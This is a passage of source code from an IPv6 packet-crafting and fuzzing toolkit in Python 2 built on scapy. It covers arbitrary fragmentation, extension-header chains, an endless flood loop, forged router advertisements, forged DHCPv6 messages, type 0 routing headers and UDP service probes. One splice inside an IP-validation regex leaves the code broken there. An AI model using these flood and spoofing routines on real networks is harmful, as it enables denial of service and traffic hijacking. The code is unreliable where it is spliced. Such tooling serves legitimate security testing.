11 | if vlist_of_fragment_lengths: 12 | if not vlist_of_offsets: 13 | print "If you want to define arbitrary lengths of fragments, you must also define the list of offsets for the Fragment Extension Headers using the -lo switch" 14 | exit(1) 15 | elif not vlist_of_fragment_m_bits: 16 | print "If you want to define arbitrary lengths of fragments, you must also define the list of M bits i for the Fragment Extension Headers using the -lm switch" 17 | exit(1) 18 | elif not vlist_of_next_headers: 19 | print "If you want to define arbitrary lengths of fragments, you must also define the Next Header values for the Fragment Extension Headers using the -lnh switch" 20 | exit(1) 21 | else: 22 | list_of_fragment_lengths=vlist_of_fragment_lengths.split(",") 23 | else: 24 | list_of_fragment_lengths=vlist_of_fragment_lengths 25 | ###List of Fragment Offset Values to be used in the IPv6 Fragment Extension Headers### 26 | if vlist_of_offsets: 27 | list_of_offsets=vlist_of_offsets.split(",") 28 | ###List of M_bit Values to be used in the IPv6 Fragment Extension Headers### 29 | if vlist_of_fragment_m_bits: 30 | list_of_fragment_m_bits=vlist_of_fragment_m_bits.split(",") 31 | ###List of Next Header Values to be used in the IPv6 Fragment Extension Headers### 32 | if vlist_of_next_headers: 33 | list_of_next_headers=vlist_of_next_headers.split(",") 34 | #Do some checks 35 | if vlist_of_fragment_lengths: 36 | if not int(len(list_of_fragment_lengths))==int(len(list_of_offsets)): 37 | print "the number of defined fragment offsets using the -lo switch should be equal to the number of the defined fragment lengths, using the -ln switch" 38 | exit(1) 39 | elif not int(len(list_of_fragment_lengths))==int(len(list_of_next_headers)): 40 | print "the number of defined next header values using the -lnh switch should be equal to the number of the defined fragment lengths, using the -ln switch" 41 | exit(1) 42 | elif not int(len(list_of_fragment_lengths))==int(len(list_of_fragment_m_bits)): 43 | print "the number of defined M (More Fragment to Follow) bits using the -lm switch should be equal to the number of the defined fragment lengths, using the -ln switch" 44 | exit(1) 45 | elif vlist_of_fragment_m_bits and (int(vnumber_of_fragments) > int(len(list_of_fragment_m_bits))): 46 | print "If you want to define your own list of M (More fragments to follow) bits to be used at Fragment Extension Headers in case of fragmentation, the number of next header values should be at least the same as the number of fragments" 47 | print "Number of fragments = ", vnumber_of_fragments 48 | print "Number of next header values = ", len(list_of_fragment_m_bits) 49 | print "Exiting..." 50 | exit(1) 51 | elif vlist_of_offsets and (int(vnumber_of_fragments) > int(len(list_of_offsets))): 52 | print "If you want to define your own list of fragment offset values to be used at Fragment Extension Headers in case of fragmentation, the number of fragment offset values should be at least the same as the number of fragments" 53 | print "Number of fragments = ", vnumber_of_fragments 54 | print "Number of offsets = ", len(list_of_offsets) 55 | print "Exiting..." 56 | exit(1) 57 | elif vlist_of_next_headers and (int(vnumber_of_fragments) > int(len(list_of_next_headers))): 58 | print "If you want to define your own list of next headers values to be used at Fragment Extension Headers in case of fragmentation, the number of next header values should be at least the same as the number of fragments" 59 | print "Number of fragments = ", vnumber_of_fragments 60 | print "Number of next header values = ", len(list_of_next_headers) 61 | print "Exiting..." 62 | exit(1) 63 | return list_of_fragment_lengths,list_of_offsets,list_of_fragment_m_bits,list_of_next_headers 64 | 65 | version = '0.9' 66 | # End of checkings.py 67 | -------------------------------------------------------------------------------- /lib/checkip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: checkip.py 3 | 4 | #code from http://stackoverflow.com/questions/319279/how-to-validate-ip-address-in-python) 5 | 6 | import re 7 | 8 | version = '0.8' 9 | 10 | def is_valid_host(host): 11 | '''IDN compatible domain validator''' 12 | host = host.encode('idna').lower() 13 | if not hasattr(is_valid_host, '_re'): 14 | is_valid_host._re = re.compile(r'^([0-9a-z][-\w]*[0-9a-z]\.)+[a-z0-9\-]{2,15}$') 15 | return bool(is_valid_host._re.match(host)) 16 | 17 | def is_valid_ipv6(ip): 18 | """Validates IPv6 addresses. 19 | """ 20 | pattern = re.compile(r""" 21 | ^ 22 | \s* # Leading whitespace 23 | (?!.*::.*::) # Only a single whildcard allowed 24 | (?:(?!:)|:(?=:)) # Colon iff it would be part of a wildcard 25 | (?: # Repeat 6 times: 26 | [0-9a-f]{0,4} # A group of at most four hexadecimal digits 27 | (?:(?<=::)|(?4294967296: 218 | myid=random.randrange(1,4294967296,1) #generate a random fragmentation id 219 | if not list_of_fragment_lengths: 220 | if no_of_fragments>1 or no_of_fragments==1: 221 | size_of_fragments = (len(fragmentable_part))/(8*no_of_fragments) # divided by 8 to get octets of bytes 222 | for i in range(1, no_of_fragments): 223 | if list_of_fragment_m_bits: 224 | my_m_bit=int(list_of_fragment_m_bits[i-1]) 225 | else: 226 | my_m_bit=1 227 | if list_of_offsets: 228 | myoffset=int(list_of_offsets[i-1]) 229 | else: 230 | myoffset=(i-1)*size_of_fragments 231 | if list_of_next_headers: 232 | fragment=scapy.layers.inet6.IPv6ExtHdrFragment(offset=myoffset,m=my_m_bit,id=myid, nh=int(list_of_next_headers[i-1]))/fragmentable_part[(i-1)*size_of_fragments*8:i*size_of_fragments*8] 233 | else: 234 | fragment=scapy.layers.inet6.IPv6ExtHdrFragment(offset=myoffset,m=my_m_bit,id=myid, nh=next_header)/fragmentable_part[(i-1)*size_of_fragments*8:i*size_of_fragments*8] 235 | datagram.append(fragment) 236 | if list_of_fragment_m_bits: 237 | my_m_bit=int(list_of_fragment_m_bits[no_of_fragments-1]) 238 | else: 239 | my_m_bit=0 240 | if list_of_offsets: 241 | myoffset=int(list_of_offsets[no_of_fragments-1]) 242 | else: 243 | myoffset=(no_of_fragments-1)*size_of_fragments 244 | if list_of_next_headers: 245 | fragment=scapy.layers.inet6.IPv6ExtHdrFragment(offset=myoffset,m=my_m_bit,id=myid, nh=int(list_of_next_headers[no_of_fragments-1]))/fragmentable_part[(no_of_fragments-1)*size_of_fragments*8:] 246 | else: 247 | fragment=scapy.layers.inet6.IPv6ExtHdrFragment(offset=myoffset,m=my_m_bit,id=myid, nh=next_header)/fragmentable_part[(no_of_fragments-1)*size_of_fragments*8:] 248 | datagram.append(fragment) 249 | return datagram 250 | elif no_of_fragments==1: 251 | if list_of_next_headers: 252 | exheader=scapy.layers.inet6.IPv6ExtHdrFragment(offset=0,m=0,id=myid, nh=int(list_of_next_headers[0]))/fragmentable_part 253 | else: 254 | exheader=scapy.layers.inet6.IPv6ExtHdrFragment(offset=0,m=0,id=myid, nh=next_header)/fragmentable_part 255 | datagram.append(exheader) 256 | return datagram 257 | else: 258 | datagram.append(fragmentable_part) 259 | return datagram 260 | else: 261 | #Completely arbitrary fragmentation 262 | for i in range (0,int(len(list_of_fragment_lengths))): 263 | #print "packet/offset/length/m_bit/nh/id" 264 | #print i,int(list_of_offsets[i]),int(list_of_fragment_lengths[i]),int(list_of_fragment_m_bits[i]),int(list_of_next_headers[i]),myid 265 | fragment=scapy.layers.inet6.IPv6ExtHdrFragment(offset=int(list_of_offsets[i]),m=int(list_of_fragment_m_bits[i]),id=myid, nh=int(list_of_next_headers[i]))/fragmentable_part[int(list_of_offsets[i])*8:(int(list_of_offsets[i])+int(list_of_fragment_lengths[i]))*8] 266 | datagram.append(fragment) 267 | return datagram 268 | 269 | def create_unfragmentable_part(source,destination,hoplimit,lEu,size_of_extension_headers,fuzz): 270 | list_of_unfragmented_extension_headers=[] 271 | if lEu: 272 | list_of_unfrag_ext_headers=make_list_of_ext_headers(lEu) 273 | list_of_unfragmented_extension_headers= identify_parameters(list_of_unfrag_ext_headers) 274 | IPv6_datagram=scapy.layers.inet6.IPv6(src=source,dst=destination,hlim=hoplimit) 275 | if list_of_unfragmented_extension_headers: 276 | for l in list_of_unfragmented_extension_headers: 277 | IPv6_datagram = IPv6_datagram/add_extension_header(int(l[0]), size_of_extension_headers, l[1], fuzz) 278 | unfragmentable_part=IPv6_datagram 279 | size_of_unfragmentable_part=len(unfragmentable_part) 280 | return unfragmentable_part,size_of_unfragmentable_part 281 | 282 | def create_fragmentable_part(lEf,size_of_extension_headers,fuzz): 283 | list_of_fragmented_extension_headers=[] 284 | if lEf: 285 | list_of_frag_ext_headers=make_list_of_ext_headers(lEf) 286 | list_of_fragmented_extension_headers=identify_parameters(list_of_frag_ext_headers) 287 | fragmentable_part=None 288 | size_of_fragmentable_extension_headers=0 289 | if list_of_fragmented_extension_headers: 290 | first_next_header_value=int(list_of_fragmented_extension_headers[0][0]) 291 | l=list_of_fragmented_extension_headers[0] 292 | fragmentable_part=add_extension_header(int(l[0]), size_of_extension_headers, l[1], fuzz) 293 | list_of_fragmented_extension_headers.pop(0) 294 | while list_of_fragmented_extension_headers: 295 | l=list_of_fragmented_extension_headers[0] 296 | fragmentable_part=fragmentable_part/add_extension_header(int(l[0]), size_of_extension_headers, l[1], fuzz) 297 | list_of_fragmented_extension_headers.pop(0) 298 | size_of_fragmentable_extension_headers=len(fragmentable_part) 299 | else: 300 | first_next_header_value=find_protocol_value_of_layer_4(scapy.layers.inet6.ICMPv6MLQuery())##WHY???????? 301 | return fragmentable_part,size_of_fragmentable_extension_headers,first_next_header_value 302 | 303 | def find_protocol_value_of_layer_4(layer4): 304 | dummy_packet=scapy.layers.inet6.IPv6()/layer4 #dummy packet to get the correct next header value of Layer 4 automatically 305 | first_next_header_value=dummy_packet.nh 306 | return first_next_header_value 307 | 308 | #################NO FLOOD - FUZZ################ 309 | ###IMPLEMENT FLOODING / FUZZING CAPABILITIES#### 310 | def create_datagram(mymac,layer2_addr,number_of_fragments,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,fragment_id,unfragmentable_part,size_of_unfragmentable_part,first_next_header_value,fragmentable_extension_headers,size_of_fragmentable_extension_headers,layer4): 311 | packets=[] 312 | if not fragmentable_extension_headers: 313 | size_of_fragmentable_part=len(layer4) 314 | fragmentable_part=layer4 315 | else: 316 | fragmentable_part=fragmentable_extension_headers/layer4 317 | size_of_fragmentable_part=size_of_fragmentable_extension_headers+len(layer4) 318 | #Create the whole datagram now 319 | IPv6_datagram=unfragmentable_part/fragmentable_part 320 | str_IPv6_datagram=str(IPv6_datagram) 321 | str_fragmentable_part=str_IPv6_datagram[size_of_unfragmentable_part:(size_of_unfragmentable_part+size_of_fragmentable_part+1)] 322 | #make the fragments 323 | if number_of_fragments > 0 or list_of_fragment_lengths: 324 | if size_of_fragmentable_part/8 < number_of_fragments: 325 | print "the number of the fragments should not be bigger than the size of the payload" 326 | elif (size_of_fragmentable_part/number_of_fragments+size_of_unfragmentable_part+8>Ethernet_MTU): 327 | print "the size of the packet is",size_of_fragmentable_part+size_of_unfragmentable_part,"bytes, which is bigger that the Ethernet MTU. Needs to be fragmented before sending it." 328 | else: 329 | fragmented_parts=frag_datagram(str_fragmentable_part,number_of_fragments,list_of_next_headers,list_of_offsets,list_of_fragment_lengths,list_of_fragment_m_bits,first_next_header_value,fragment_id) 330 | for frag in fragmented_parts: 331 | packet=scapy.layers.l2.Ether(src=mymac,dst=layer2_addr)/unfragmentable_part/frag 332 | packets.append(packet) 333 | else: 334 | if not (size_of_fragmentable_part+size_of_unfragmentable_part>Ethernet_MTU): 335 | packet=scapy.layers.l2.Ether(src=mymac,dst=layer2_addr)/IPv6_datagram 336 | packets.append(packet) 337 | else: 338 | print "the size of the packet is",size_of_fragmentable_part+size_of_unfragmentable_part,"bytes, which is bigger that the Ethernet MTU. Needs to be fragmented before sending it." 339 | exit(0) 340 | return packets 341 | 342 | ### CREATENFLOOD AND FUZZ CAPABILITIES 343 | def send_packets(mysocket,packets,flood,delay): 344 | if flood: 345 | while(True): 346 | for p in packets: 347 | mysocket.send(p) 348 | else: 349 | for p in packets: 350 | mysocket.send(p) 351 | time.sleep(float(delay)) 352 | 353 | version = '0.9' 354 | # End of create_extension_headers_chain.py 355 | -------------------------------------------------------------------------------- /lib/create_layer4.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: create_layer4.py 3 | import random 4 | import scapy 5 | import string 6 | version = '0.9' 7 | mymac="" 8 | 9 | def icmpv6(itype,icode,payload): 10 | icmpid=random.randrange(1,65535,1) #generate a random ICMPv6 id 11 | header=scapy.layers.inet6.ICMPv6EchoRequest(type=int(itype),code=int(icode),data=payload,id=icmpid) 12 | return header 13 | 14 | def icmpv6_id(payload,icmpid): 15 | header=scapy.layers.inet6.ICMPv6EchoRequest(data=payload,id=icmpid) 16 | return header 17 | 18 | def udp_packet_id(destport,layer4_data,source_port): 19 | if not layer4_data: 20 | if destport==53: 21 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00") 22 | elif destport==7: 23 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x0D\x0A\x0D\x0A") 24 | elif destport==111: 25 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x72\xFE\x1D\x13\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x01\x97\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 26 | elif destport==123: 27 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\xE3\x00\x04\xFA\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xC5\x4F\x23\x4B\x71\xB1\x52\xF3") 28 | elif destport==137: 29 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x80\xF0\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x21\x00\x01") 30 | elif destport==161: 31 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x30\x3A\x02\x01\x03\x30\x0F\x02\x02\x4A\x69\x02\x03\x00\xFF\xE3\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0E\x04\x00\x02\x01\x00\x02\x01\x00\x04\x00\x04\x00\x04\x00\x30\x12\x04\x00\x04\x00\xA0\x0C\x02\x02\x37\xF0\x02\x01\x00\x02\x01\x00\x30\x00") 32 | elif destport==1434: 33 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x02") 34 | elif destport==177: 35 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x01\x00\x02\x00\x01\x00") 36 | elif destport==427: 37 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x02\x01\x00\x006 \x00\x00\x00\x00\x00\x01\x00\x02en\x00\x00\x00\x15service:service-agent\x00\x07default\x00\x00\x00\x00") 38 | elif destport==500: 39 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x11\x22\x33\x44\x55\x66\x77\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\xA4\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x98\x01\x01\x00\x04\x03\x00\x00\x24\x01\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01\x03\x00\x00\x24\x02\x01\x00\x00\x80\x01\x00\x05\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01\x03\x00\x00\x24\x03\x01\x00\x00\x80\x01\x00\x01\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01\x00\x00\x00\x24\x04\x01\x00\x00\x80\x01\x00\x01\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0B\x00\x01\x00\x0C\x00\x04\x00\x00\x00\x01") 40 | elif destport==520: 41 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10") 42 | elif destport==626: 43 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="SNQUERY: 127.0.0.1:AAAAAA:xsvr") 44 | elif destport==1604: 45 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x1e\x00\x01\x30\x02\xfd\xa8\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 46 | elif destport==1645 or destport==1812: 47 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 48 | elif destport==2049: 49 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA3\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 50 | elif destport==2302: 51 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x02\xf1\x26\x01\x26\xf0\x90\xa6\xf0\x26\x57\x4e\xac\xa0\xec\xf8\x68\xe4\x8d\x21") 52 | elif destport==6481: 53 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="[PROBE] 0000") 54 | elif destport==5351: 55 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x00") 56 | elif destport==5353: 57 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09_services\x07_dns-sd\x04_udp\x05local\x00\x00\x0C\x00\x01") 58 | elif destport==1080: 59 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="Amanda 2.6 REQ HANDLE 000-00000000 SEQ 0\nSERVICE noop\n") 60 | elif destport==17185: 61 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x55\x55\x55\x55\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x55\x13\x00\x00\x00\x30\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00") 62 | elif destport==27910 or destport==27911 or destport==27912 or destport==27913 or destport==27914: 63 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\xff\xff\xff\xffstatus") 64 | elif destport==26000 or destport==26001 or destport==26001 or destport==26002 or destport==26003 or destport==26004 or destport==27960 or destport==27961 or destport==27962 or destport==27963 or destport==27964 or destport==30720 or destport==30721 or destport==30722 or destport==30723 or destport==30724 or destport==44400: 65 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\xff\xff\xff\xffgetstatus") 66 | elif destport==64738: 67 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x00\x00\x00\x00abcdefgh") 68 | elif destport==3784: 69 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x01\xe7\xe5\x75\x31\xa3\x17\x0b\x21\xcf\xbf\x2b\x99\x4e\xdd\x19\xac\xde\x08\x5f\x8b\x24\x0a\x11\x19\xb6\x73\x6f\xad\x28\x13\xd2\x0a\xb9\x12\x75") 70 | elif destport==8767: 71 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x002x\xba\x85\tTeamSpeak\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\nWindows XP\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00 \x00<\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08nickname\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") 72 | elif destport==9987: 73 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/scapy.packet.Raw(load="\x05\xca\x7f\x16\x9c\x11\xf9\x89\x00\x00\x00\x00\x02\x9d\x74\x8b\x45\xaa\x7b\xef\xb9\x9e\xfe\xad\x08\x19\xba\xcf\x41\xe0\x16\xa2\x32\x6c\xf3\xcf\xf4\x8e\x3c\x44\x83\xc8\x8d\x51\x45\x6f\x90\x95\x23\x3e\x00\x97\x2b\x1c\x71\xb2\x4e\xc0\x61\xf1\xd7\x6f\xc5\x7e\xf6\x48\x52\xbf\x82\x6a\xa2\x3b\x65\xaa\x18\x7a\x17\x38\xc3\x81\x27\xc3\x47\xfc\xa7\x35\xba\xfc\x0f\x9d\x9d\x72\x24\x9d\xfc\x02\x17\x6d\x6b\xb1\x2d\x72\xc6\xe3\x17\x1c\x95\xd9\x69\x99\x57\xce\xdd\xdf\x05\xdc\x03\x94\x56\x04\x3a\x14\xe5\xad\x9a\x2b\x14\x30\x3a\x23\xa3\x25\xad\xe8\xe6\x39\x8a\x85\x2a\xc6\xdf\xe5\x5d\x2d\xa0\x2f\x5d\x9c\xd7\x2b\x24\xfb\xb0\x9c\xc2\xba\x89\xb4\x1b\x17\xa2\xb6") 74 | else: 75 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport) 76 | else: 77 | header = scapy.layers.inet.UDP(sport=source_port, dport=destport)/layer4_data 78 | return header 79 | 80 | def udp_packet(destport,layer4_data): 81 | source_port=random.randrange(1024,65535,1) 82 | header=udp_packet_id(destport,layer4_data,source_port) 83 | return header 84 | 85 | def tcp_packet(destport, tcp_flags, layer4_data): 86 | my_seq_number=random.randrange(0,2*65535,1) 87 | source_port=random.randrange(1024,65535,1) 88 | header = scapy.layers.inet.TCP(sport=source_port, dport=destport, seq=my_seq_number, flags=tcp_flags)/layer4_data 89 | return header 90 | 91 | def tcp_packet_id(destport, tcp_flags, layer4_data,source_port): 92 | my_seq_number=random.randrange(0,2*65535,1) 93 | header = scapy.layers.inet.TCP(sport=source_port, dport=destport, seq=my_seq_number, flags=tcp_flags)/layer4_data 94 | return header 95 | 96 | def type_0_routing_header(myaddresses,layer4,l4_data,destport): 97 | if layer4=="tcp": 98 | header=scapy.layers.inet6.IPv6ExtHdrRouting(type=0,addresses=myaddresses, segleft=len(myaddresses))/tcp_packet(int(destport), "S",l4_data) 99 | elif layer4=="udp": 100 | header=scapy.layers.inet6.IPv6ExtHdrRouting(type=0,addresses=myaddresses, segleft=len(myaddresses))/udp_packet(int(destport),l4_data) 101 | else: 102 | header=scapy.layers.inet6.IPv6ExtHdrRouting(type=0,addresses=myaddresses, segleft=len(myaddresses))/icmpv6(128,0,l4_data) 103 | return header 104 | 105 | def icmpv6_router_advertisement(source_mac,current_hop_limit,managed_address_configuration,other_configuration,reserved_field,router_lifetime,reachable_time,retrans_timer,myprefix,myprefixlength,router_priority,mymtu,interface): 106 | if source_mac: 107 | mymac=source_mac 108 | else: 109 | mymac=get_if_hwaddr(interface) 110 | if not mymtu: 111 | header=scapy.layers.inet6.ICMPv6ND_RA(code=0,chlim=current_hop_limit,M=managed_address_configuration,O=other_configuration,res=int(reserved_field),routerlifetime=router_lifetime,prf=router_priority,reachabletime=reachable_time,retranstimer=retrans_timer)/scapy.layers.inet6.ICMPv6NDOptSrcLLAddr(lladdr=mymac)/scapy.layers.inet6.ICMPv6NDOptPrefixInfo(prefixlen = myprefixlength,prefix = myprefix, validlifetime= 0xffffffffL, preferredlifetime= 0xffffffffL, L=1, R=1, A=1) #M=0, O=0 implies that there is no information available via DHCPv6 112 | else: 113 | header=scapy.layers.inet6.ICMPv6ND_RA(code=0,chlim=current_hop_limit,M=managed_address_configuration,O=other_configuration,res=int(reserved_field),routerlifetime=router_lifetime,prf=router_priority,reachabletime=reachable_time,retranstimer=retrans_timer)/scapy.layers.inet6.ICMPv6NDOptSrcLLAddr(lladdr=mymac)/scapy.layers.inet6.ICMPv6NDOptMTU(mtu=mymtu)/scapy.layers.inet6.ICMPv6NDOptPrefixInfo(prefixlen = myprefixlength,prefix = myprefix, validlifetime= 0xffffffffL, preferredlifetime= 0xffffffffL, L=1, R=1, A=1) #M=0, O=0 implies that there is no information available via DHCPv6 114 | return header 115 | 116 | def dhcpv6_advertisement(source_mac,interface): 117 | if source_mac: 118 | mymac=source_mac 119 | else: 120 | mymac=get_if_hwaddr(interface) 121 | header=scapy.layers.inet.UDP(sport=547,dport=546)/DHCP6_Advertise()/DHCP6OptClientId()/DHCP6OptServerId()/DHCP6OptIA_NA()/DHCP6OptDNSServers() 122 | return header 123 | 124 | def dhcpv6_reply(source_mac,interface): 125 | if source_mac: 126 | mymac=source_mac 127 | else: 128 | mymac=get_if_hwaddr(interface) 129 | header=scapy.layers.inet.UDP(sport=547,dport=546)/DHCP6_Reply() 130 | return header 131 | 132 | def dhcpv6_solicit_windows(source_mac,interface,transaction_id): 133 | if source_mac: 134 | mymac=source_mac 135 | else: 136 | mymac=get_if_hwaddr(interface) 137 | if transaction_id: 138 | tr_id=transaction_id 139 | header=scapy.layers.inet.UDP(sport=546,dport=547)/DHCP6_Solicit(trid=tr_id)/DHCP6OptElapsedTime()/DHCP6OptClientId()/DHCP6OptIA_NA()/DHCP6OptClientFQDN()/DHCP6OptVendorClass()/DHCP6OptOptReq() 140 | return header 141 | 142 | def dhcpv6_solicit_linux(source_mac,interface,transaction_id): 143 | if source_mac: 144 | mymac=source_mac 145 | else: 146 | mymac=get_if_hwaddr(interface) 147 | if transaction_id: 148 | tr_id=transaction_id 149 | header=scapy.layers.inet.UDP(sport=546,dport=547)/DHCP6_Solicit(trid=tr_id)/DHCP6OptClientId()/DHCP6OptOptReq()/DHCP6OptElapsedTime()/DHCP6OptClientFQDN()/DHCP6OptIA_NA() 150 | return header 151 | 152 | def dhcpv6_solicit(source_mac,interface): 153 | if source_mac: 154 | mymac=source_mac 155 | else: 156 | mymac=get_if_hwaddr(interface) 157 | sol = DHCP6_Solicit() 158 | rc = DHCP6OptRapidCommit() 159 | opreq = DHCP6OptOptReq() 160 | et= DHCP6OptElapsedTime() 161 | cid = DHCP6OptClientId() 162 | iana = DHCP6OptIA_NA() 163 | rc.optlen = 0 164 | opreq.optlen = 4 165 | iana.optlen = 12 166 | iana.T1 = 3600 167 | iana.T2 = 5400 168 | #iana.iaid= 2729 169 | cid.optlen = 10 170 | random.seed() 171 | # Generating SOLICIT message id 172 | sol.trid = random.randint(0,16777215) 173 | # Generating DUID-LL 174 | cid.duid = ("00030001"+ str(EUI(source_mac)).replace("-","")).decode("hex") 175 | # Assembing the packet 176 | header = scapy.layers.inet.UDP(sport=546,dport=547)/sol/cid/opreq/et/iana 177 | return header 178 | 179 | def dhcpv6_request(source_mac,interface): 180 | if source_mac: 181 | mymac=source_mac 182 | else: 183 | mymac=get_if_hwaddr(interface) 184 | header=scapy.layers.inet.UDP(sport=546,dport=547)/DHCP6_Request()/DHCP6OptElapsedTime()/DHCP6OptClientId()/DHCP6OptServerId()/DHCP6OptIA_NA()/DHCP6OptIAAddress()/DHCP6OptClientFQDN()/DHCP6OptVendorClass()/DHCP6OptOptReq() 185 | return header 186 | 187 | def mldv1_report(mldcode,mldmrd,mldreserved,mldmladdr,layer4_data,router_alert): 188 | if router_alert: 189 | if layer4_data: 190 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLReport(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr)/layer4_data 191 | else: 192 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLReport(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr) 193 | else: 194 | if layer4_data: 195 | header=scapy.layers.inet6.ICMPv6MLReport(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr)/layer4_data 196 | else: 197 | header=scapy.layers.inet6.ICMPv6MLReport(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr) 198 | return header 199 | 200 | def mldv2_report(mldres1,mldreserved,my_number_of_multicast_address_records,list_of_multicast_address_records,layer4_data,router_alert): 201 | number_of_multicast_address_records=0 202 | if list_of_multicast_address_records: 203 | for l in list_of_multicast_address_records: 204 | number_of_multicast_address_records=number_of_multicast_address_records+1 205 | if l[1].has_key('rtype'): 206 | mldrtype=int(l[1]['rtype']) 207 | else: 208 | mldrtype=4 209 | if l[1].has_key('auxdatalen'): 210 | mld_auxdatalen=int(l[1]['auxdatalen']) 211 | else: 212 | mld_auxdatalen=0 213 | if l[1].has_key('auxdata'): 